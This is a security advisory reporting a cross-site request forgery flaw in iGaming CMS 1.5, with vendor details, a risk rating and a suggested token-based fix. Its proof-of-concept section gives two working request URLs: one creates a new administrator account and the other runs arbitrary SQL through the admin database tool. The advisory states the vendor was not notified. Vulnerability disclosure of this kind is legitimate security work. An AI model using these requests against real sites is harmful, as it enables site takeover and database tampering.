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NeX of the HackTalk team has found a CSRF Vulnerability in iGaming CMS v 1.5 that allows an attacker to make new administrative account, and run SQL queries. Pentest Information: ============ NeX has discovered a Cross Site Request Forgery(CSRF) vulnerability in iGaming CMS 1.5 Details ============ Tested on OS: Linux Tested with Software: Mozilla Firefox 3.0.x Vulnerable Products: iGaming CMS Affected Versions: 1.5 Vulnerability Type: Cross Site Request Forgery Security-Risk: High Vendor-URL: http://www.igamingcms.com/ Preview-URL: http://demo.opensourcecms.com/igaming/ Vendor-Status: Not informed Patch/Fix-Status: Fixed version not released Advisory-Status: Written | 12/15/09 Advisory-URL: Report-URL: Introduction: ============ iGaming CMS is a content management system designed for gaming websites. The system is written in PHP and requires a Mysql database for operation. (Copy from the vendors homepage: http://www.igamingcms.com/) More Details: ============ Due to the lack of multiple input validation errors, an attacker is able to change the password of the administrative user. Add new admin user, and run SQL queries. Proof of Concept: ============ The following link will make new administrative account: http://server/igaming/admin/users.php?pseudo=Username&email=E-Mail@of.the.new.admin.com&fname=First-Name&lname=Last-Name&password=Password&submit=Confirm&do=add_confirm The following link will run SQL query: http://server/igaming/admin/dbtools.php?query=[SQL_QERY_HERE]&submit=Go&do=run_query (Change [SQL_QERY_HERE] to your own SQL query.) Fix & Patch: ============ To fix the bugs a token system is highly advised Security Risk: ============ An attacker is able to make new administrative user thus having complete control over the site. The risk is estimated as HIGH! Author: ======== NeX